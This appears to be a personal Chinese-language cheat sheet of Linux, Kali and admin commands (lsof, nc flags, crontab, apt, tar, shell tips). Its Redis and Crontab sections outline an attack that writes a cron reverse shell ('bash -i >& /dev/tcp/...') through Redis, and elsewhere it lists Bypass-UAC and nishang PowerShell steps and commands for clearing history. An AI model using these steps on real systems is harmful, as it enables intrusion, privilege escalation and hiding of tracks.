Ruby
Lsof
lsof /path/to/file | 找出谁在使用某个文件 |
---|---|
lsof /path/to/file1 /path/to/file2 | 一次制定多个文件 |
lsof -u pkrumins | 列出某个用户打开的所有文件 |
lsof -u pkrumins -c apache | 列出所有由某个用户或某个进程打开的文件 |
lsof -p 450,980,333 | 列出所有由某个PID对应的进程打开的文件 |
lsof -i | 列出所有网络连接 |
用户权限
-rwxrw-r‐-1 root root 1213 Feb 2 09:39 abc
- 其余字符每3个一组(rwx),读(r)、写(w)、执行(x)
- 第一组rwx:文件所有者的权限是读、写和执行
- 第二组rw-:与文件所有者同一组的用户的权限是读、写但不能执行
- 第三组r--:不与文件所有者同组的其他用户的权限是读不能写和执行
- usermod ‐g 组名 用户名
- usermod ‐d 目录名 用户名,改变该用户登录的初始目录
Sed
sed -i 's#/var/log/*.log#/var/log/apache2/access.log#g' /etc/filebeat/filebeat.yml
Nc
-g<网关>:设置路由器跃程通信网关,最多设置8个;
-G<指向器数目>:设置来源路由指向器,其数值为4的倍数;
-h:在线帮助;
-i<延迟秒数>:设置时间间隔,以便传送信息及扫描通信端口;
-l:使用监听模式,监控传入的资料;
-n:直接使用ip地址,而不通过域名服务器;
-o<输出文件>:指定文件名称,把往来传输的数据以16进制字码倾倒成该文件保存;
-p<通信端口>:设置本地主机使用的通信端口;
-r:指定源端口和目的端口都进行随机的选择;
-s<来源位址>:设置本地主机送出数据包的IP地址;
-u:使用UDP传输协议;
-v:显示指令执行过程;
-w<超时秒数>:设置等待连线的时间;
-z:使用0输入/输出模式,只在扫描通信端口时使用。
Bundle
bundle show | 显示所有的依赖包 |
---|---|
bundle show [gemname] | 显示指定gem包的安装位置 |
bundle check | 检查系统中缺少那些项目以来的gem包 |
bundle install | 安装项目依赖的所有gem包 |
bundle install [gemname] | 安装指定的gem包 |
bundle update | 更新系统中存在的项目依赖包,并同时更新项目Gemfile.lock文件 |
gem [gemname], [ver] | 向项目中添加新的gem包引用 |
bundle lock | 使用bundle lock来锁定当前环境,这样便不能通过bundle update来更新依赖包的版本,保证了统一的环境 |
bundle unlock | 解除锁定 |
文件目录
./Tools 表示查找某个文件
.代表当前目录的意思 ./Tools/cobaltstrike
/代表根目录的意思
windows下 不分/和\ 但是\有转义的意思,有时候再linux下面查找路径需要用"c:\\\***" 有空格需要用双引号
powershell下面 . .\需要执行的powershell文件
.代表执行 后一个点是当前目录的意思 | PS F:\PowerShell-Suite-master\Bypass-UAC> . .\Bypass-UAC.ps1 |
---|---|
导入模块 | Import-Module ./nishang.psm1 |
导入文件 | . .\Bypass-UAC.ps1 |
查询策略 | Get-ExecutionPolicy |
设置策略 | set-executionpolicy remotesigned |
查询模块信息 | PS F:\nishang-master> Get-ExecutionPolicy |
查看帮助 | get-help Get-Information |
# History |
存在.bash_history(或者说root/bash_history)
history N | 显示最近的N条命令,例如history 5 |
---|---|
history -d N | 删除第N条命令,这个N就是前面的编号,例如history -d 990 |
history -c | 清空命令历史 |
history -a | 将当前会话中的命令历史写入指定文件 |
echo $HISTFILE | 使用此命令查看环境变量 |
history | grep cd | |
Ctrl+ R | 快速搜索 |
#
复制文件
Cp 文件名 /**/目录/新文件名
Redis
ps aux|grep redis | 查看redis服务 |
---|---|
kill -9 12281 | kill服务 |
sudo /etc/init.d/redis-server restart | 重启Redis服务器 |
config get dir | 获取dir的值 |
config get dbfilename | 获取dbfilename的值 |
config set dbfilename 'root' | 设置备份文件名为root,以root身份执行计划任务 |
flushall | 删除所有数据库的所有key |
del cron | 删除新增的key |
Crontab
set 1 "\n\n\n\n* * * * * root bash -i >& /dev/tcp/172.18.0.1/21 0>&1\n\n\n\n"
crontab -l | 列出crontab文件 |
---|---|
crontab -e | 编辑crontab文件 |
service crond status | 查看crontab服务状态 |
service crond start | 手动启动crontab服务 |
30 21 * * * /etc/init.d/smb restart | 每晚的21:30重启smb |
30 21 1,10,22 * * /etc/init.d/smb restart | 每月1、10、22日的21:30重启smb |
10 1 * * 6,0 /etc/init.d/smb restart | 每周六、周日的1 : 10重启smb |
* * * * * command | 每1分钟执行一次command |
/var/spool/cron/root | centos系统下root用户的cron文件\ |
/var/spool/cron/crontabs/root | debian系统下root用户的cron文件\ |
ssh服务
sudo rm /var/cache/apt/archives/lock
sudo rm /var/lib/dpkg/lock
/etc/init.d/ssh start 开启ssh
service sshd restart
ssh-keygen -R "你的远程服务器ip地址" 清除你当前机器里关于你的远程服务器的缓存和公钥信息
位数
Uname -m i686、i386是32bit
file /lib/systemd/systemd
Arch
getconf LONG_BIT
Grep
ps -e | grep sshd
[root@www ~]# grep [-acinv] [--color=auto] '搜寻字符串' filename
选项与参数:
-a :将 binary 文件以 text 文件的方式搜寻数据
-c :计算找到 '搜寻字符串' 的次数
-i :忽略大小写的不同,所以大小写视为相同
-n :顺便输出行号
-v :反向选择,亦即显示出没有 '搜寻字符串' 内容的那一行!
--color=auto :可以将找到的关键词部分加上颜色的显示喔!
# grep root /etc/passwd
root:x:0:0:root:/root:/bin/bash
operator:x:11:0:operator:/root:/sbin/nologin
或
# cat /etc/passwd | grep root
root:x:0:0:root:/root:/bin/bash
operator:x:11:0:operator:/root:/sbin/nologin
dpkg
dpkg -i netease-cloud-music_1.0.0_amd64_ubuntu14.04.deb #安装包
dpkg -r netease-cloud-music #删除包
dpkg -P netease-cloud-music #删除包(包括配置文件)
dpkg -L netease-cloud-music #列出与该包关联的文件
dpkg -l netease-cloud-music #显示该包的版本
dpkg --unpack netease-cloud-music_1.0.0_amd64_ubuntu14.04.deb #解开deb包的内容
dpkg -S keyword #搜索所属的包内容
dpkg -l #列出当前已安装的包
dpkg -c netease-cloud-music_1.0.0_amd64_ubuntu14.04.deb #列出deb包的内容
dpkg --configure netease-cloud-music #配置包
:
SCP
scp /mnt/sda1/cc.txt root@192.168.99.134:/root/test12/translate-shell/man
scp -r local_folder remote_username@remote_ip:remote_folder
或者
scp -r local_folder remote_ip:remote_folder
第1个指定了用户名,命令执行后需要输入用户密码;
第2个没有指定用户名,命令执行后需要输入用户名和密码
关机命令:
1、halt 立刻关机
2、poweroff 立刻关机
3、shutdown -h now 立刻关机(root用户使用)
4、shutdown -h 10 10分钟后自动关机 如果是通过shutdown命令设置关机的话,可以用shutdown -c命令取消重启
重启命令:
1、reboot
2、shutdown -r now 立刻重启(root用户使用)
3、shutdown -r 10 过10分钟自动重启(root用户使用)
4、shutdown -r 20:35 在时间为20:35时候重启(root用户使用) 如果是通过shutdown命令设置重启的话,可以用shutdown -c命令取消重启
桌面安装
输入sudo -i,密码,切换成了root,开始安装桌面环境了。
apt-get install xinit,要启动startx必须得先安装xinit。安装完桌面变了一点,但只不过变成了白色页面,真正的桌面环境还没安。
apt-get install gdm之后安装环境管理器(desk manager)Gnome 或者 Kde.这里我安的是gnome:apt-get install gdm,(KDE:kdm // Xface : xdm).
apt-get install ubuntu-desktop安装桌面环境,安装完全部的桌面环境的代价(解压完占1个多G的空间)还是比较大的(相对于这20GB的硬盘),因为安装桌面相关软件太多(这里我先安全环境,后期我会试着把多余的软件甚至桌面环境卸载,毕竟是服务器嘛)。apt-get install ubuntu-desktop,安装好。(还可以安装xubun-desktop,kubuntu-desktop)
这里假如你不想要某个桌面系统想换一个,你可以执行如下指令卸载:(假设为xubuntu)
1.apt-get remove xubuntu* (卸载相关的软件,但是记住这个会保存配置文件,要想删除配置文件加上选项:--purge (清除的意思) )
2.apt-get autoremove (删除为了满足其他软件包的依赖而安装的,但当前不再需要的包)
3.apt-get clean (系统清理,它删除包缓存中的所有包,没事就看可以清理一下)
最后重启服务器,就是熟悉的界面了
桌面美化
sudo dpkg-reconfigure gdm3 (选择LightDM和GDM登录显示器)
1、sudo apt-get install xinit
2、sudo apt-get install gdm
3、sudo apt-get install ubuntu-desktop
# 如果执行过方案b,这里执行完第三步会出现一个选择,我选了第一项很丑(随便选的),你可以选第二个
2、自定义安装桌面
1)安装x-windows的基础(必须)
# sudo apt-get install x-window-system-core
2)安装gnome基础(必须)
# sudo apt-get install gnome-core
3)安装中文显示(建议安装)
# sudo apt-get install language-pack-gnome-zh ——>让gnome面板、菜单显示中文
#sudo apt-get install language-pack-gnome-zh-base sudo apt-get install language-pack-zh ——>中文语言包
# sudo apt-get install language-pack-zh-base sudo apt-get install language-support-zh ——>中文语言支持
# sudo apt-get install scim ——> scim中文输入法平台
4)安装登录管理器(一般可以不选)
# sudo apt-get install gdm
说明: gdm(gnome display manager)即gnome图形界面显示管理器,还有kdm/xdm等,它将使您可以在启动时直接进入GUI桌面环境,而勿需通过 startx 来启动GUI。
5)安装新利得软件管理器(可选)
# sudo apt-get install synaptic
6)卸载gnome桌面环境
# sudo apt-get –purge remove liborbit2
7)进入图形界面:#startx
8)退出图形桌面:#ctrl + alt + backspace
查找
find . -name "*.c"
find / -name "redis.conf"
find /home -name "*.txt" 在/home目录下查找以.txt结尾的文件名
find . -type 类型参数 根据文件类型进行搜索
重启网络
root@kali:/etc/init.d# service networking restart
root@kali:/etc/init.d#
Alias
Alias kali=ssh root@192.168.164.129
删除软件
rm -r
mkdir -m 700 /usr/meng/test 只有文件主有读、写和执行权限,其他人无权访问
mv ex3 new1 将文件ex3改名为new1
mv /usr/men/* . /usr/men中的所有文件移到当前目录
unalias cc 使用unalias命令将已经设置的命令别名"cc"取消
网络服务
/etc/init.d/iptables stop 关闭防火墙
iptables -I INPUT -p TCP --dport 80 -j ACCEPT 把tcp的80端口设置成允许任何IP都可以访问
/etc/init.d/apache2 start
service apache2 start 重启apache2服务器
apt-get clean&&apt-get autoremove 清除kali垃圾
chmod a+x 文件名 提升权限的操作
sudo -s 获取最高权限
更新源
#官方更新源
deb http://http.kali.org/kali kali-rolling main non-free contrib
deb-src http://http.kali.org/kali kali-rolling main non-free contrib
# 中科大
deb https://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib
deb-src https://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib
#官方更新源
deb http://http.kali.org/kali kali-rolling main non-free contrib
#中科大的源
deb http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib
deb http://us.archive.ubuntu.com/ubuntu trusty main universe
更新命令
apt-get update //更新软件列表
apt-get update --fix-missing //更新异常索引文件
apt-get upgrade //更新软件
apt-get dist-upgrade //更新系统版本
卸载
apt-get purge 软件名 建议卸载时候使用该命令
apt-get remove 软件名 删除相应的软件(实际上删除了 /var/cache/apt/archives 目录下所有以deb 文件)
apt-get purge 软件名 删除相关软件,同时删除该软件的配置文件
apt-get clean 把存储的安装包全部卸载
apt-get autoremove 自动清理无用的meta package
查看内核
dpkg --get-selections|grep linux 查看内核 有image的就是内核文件
sudo apt-get remove 内核文件名 删除老的内核文件
uname -a 当前内核
/var/cache/apt/archives 包管理的临时文件目录:
/var/cache/apt/archives/partial 没有下载完的目录
清理命令:
sudo apt-get autoclean 清理旧版本的软件缓存
sudo apt-get clean 清理所有软件缓存
sudo apt-get autoremove 删除系统不再使用的孤立软件
sudo apt-get install deborphan -y 清理Linux下孤立的包
sudo apt-get remove --purge 软件名
dpkg -l |grep ^rc|awk '{print $2}' |sudo xargs dpkg -P 清除残余的配置文件保证干净
sync; echo 1 > /proc/sys/vm/drop_caches 仅清除页面缓存(PageCache)
sync; echo 2 > /proc/sys/vm/drop_caches 清除目录项和inode
sync; echo 3 > /proc/sys/vm/drop_caches 清除页面缓存,目录项和inode
free -m
total——总物理内存
used——已使用内存,一般情况这个值会比较大,因为这个值包括了cache+应用程序使用的内存
free——完全未被使用的内存
shared——应用程序共享内存
buffers——缓存,主要用于目录方面,inode值等(ls大目录可看到这个值增加)
cached——缓存,用于已打开的文件
压缩解压
tar命令
解包:tar zxvf FileName.tar
打包:tar czvf FileName.tar DirName
gz命令
解压1:gunzip FileName.gz
解压2:gzip -d FileName.gz
压缩:gzip FileName
.tar.gz 和 .tgz
解压:tar zxvf FileName.tar.gz
压缩:tar zcvf FileName.tar.gz DirName
压缩多个文件:tar zcvf FileName.tar.gz DirName1 DirName2 DirName3 ...
1 | disown |
这是一个bash内置命令,如果你需要将当前程序在后台运行的时候,有两个方式,1.让当前程序在新的session中运行。2.程序内部处理SIGUP信号,nohup就只这种工作方式。disown这个命令也能达到相同的功能。更多内容参考: https://www.ibm.com/developerworks/cn/linux/l-cn-nohup/
1 | touch log |
这是一种非常hack的方式来将一个已经正在运行的程序的标准输出重定向到文件。更多内容参考: https://github.com/nelhage/reptyr
1 | cat ~/.ssh/id_dsa.pub | ssh me@remotebox "cat >> ~/.ssh/authorized_keys" |
通过ssh连接跨机器使用管道符,这也是比较hack的一种方式。顺便说一句,scp也是使用的ssh协议,所以在使用scp的时候,如果你配置了秘钥,那么scp是可以使用tab键来进行补全提示的。
1 | fc |
fc命令能够将上一次执行的命令在编辑器中打开,这个默认的编辑器可以使EDITOR环境变量来设置。
1 | lsof |
lsof能够列出当前操作系统打开的所有文件描述符,包括socket,文件等等,与之类似还有一个
fuser
命令。
1 | CTRL + L |
这是一个快捷键,和clear的功能一样能够快速清空当前的terminal,bash还有很多快捷键,请参考: https://blog.hellojukay.cn/2018/05/23/20180523/。
1 | man ascii |
在mac上下能够按照是十六进制的方式处处ascii码表,很多从事嵌入式开发的程序使用这个小技巧,同样的
ascii -x
也能实现这个功能.
1 | xargs |
能够将上一个程序的标准输出传给下一个程序的命令行,我最喜欢的功能是:
echo xx | xargs -I {} command {}
。
1 | convert |
convert命令能够进行图片格式转换。
1 | ^find^replace |
这是一个比较冷门的用法,通常在你出入命令行错误,或者你在用另一个参数再次运行某个命令,用这种凡是来修改命令行,类似的哈有
!:s/find/replace
以及全局替换!:gs/find/replace
。
1 | rsync |
这是一个同步,备份文件的命令。
1 | iftop |
这是一个监控网卡流量的命令,类似的监控io情况的命令有:iotop 。
1 | sudo !! |
使用sudo权限来执行上一条命令,换句话说,如果只是单纯的再次执行上一条命令就用
!!
即可。我习惯使用CTRL + P
然后CTRL + a
,然后输入sudo。
1 | cd - |
这条命令能够将你待会上一次所在目录。关于目录跳转的还有另外一个很有意思的工具: https://github.com/wting/autojump
1 | tail -f file |
能够监控文件的变化,实时输出到标准输出。
1 | :w !sudo tee % |
这是一条vim的内置命令,当你用普通用户编辑文件,但是没有权限保存的时候,这个条命令能够让你用sudo权限保存当前文件。
1 | python -m SipmleHTTPServe 8080 |
启动一个简单的http目录,暴露8080端口,将当前目录下的文件暴露出去。这是正对于python2版本,如果是python3环境,则使用
python -m http.server 8080
。
1 | fmt |
文件格式化编排后输出到标准输出。
1 | pkill/pgrep |
按照名字查找进程号,类似
ps aux | grep name| awk '{print $2}'
。
1 | pv |
以进度条的方式显示命令行的执行进度。
1 | pushd/popd |
这是是用堆栈的方式来进行目录跳转
pushd
跳转到目录目录,并将当前目录放在栈定,pop
移除栈顶元素,回到上一次目录。
1 | ncdu |
查看磁盘空间占用情况。
1 | dmidecode |
或者当前系统的硬件信息。
1 | htop |
与top命令的功能类似,但是显示界面更加友好。
1 | strace |
这是非常hack的一个命令,能够调试一个脚本.
1 | vnstat |
一款linux下的性能监控工具。
1 | find . -executable -type f |
查找可执行文件。
1 | tree |
展示当前目录的树状结构。
1 | pstree |
显示一个正在运行中的程序的进程树状结构。
1 | ss |
ss 也就是 socket status ,用来展示socket讯通状态的命令,类似于 netstat 命令 。
1 | sl |
sl这是一个非常滑稽的命令,如果你想深入ls,但是不小心写错了,终端中会有一个小火车驶过。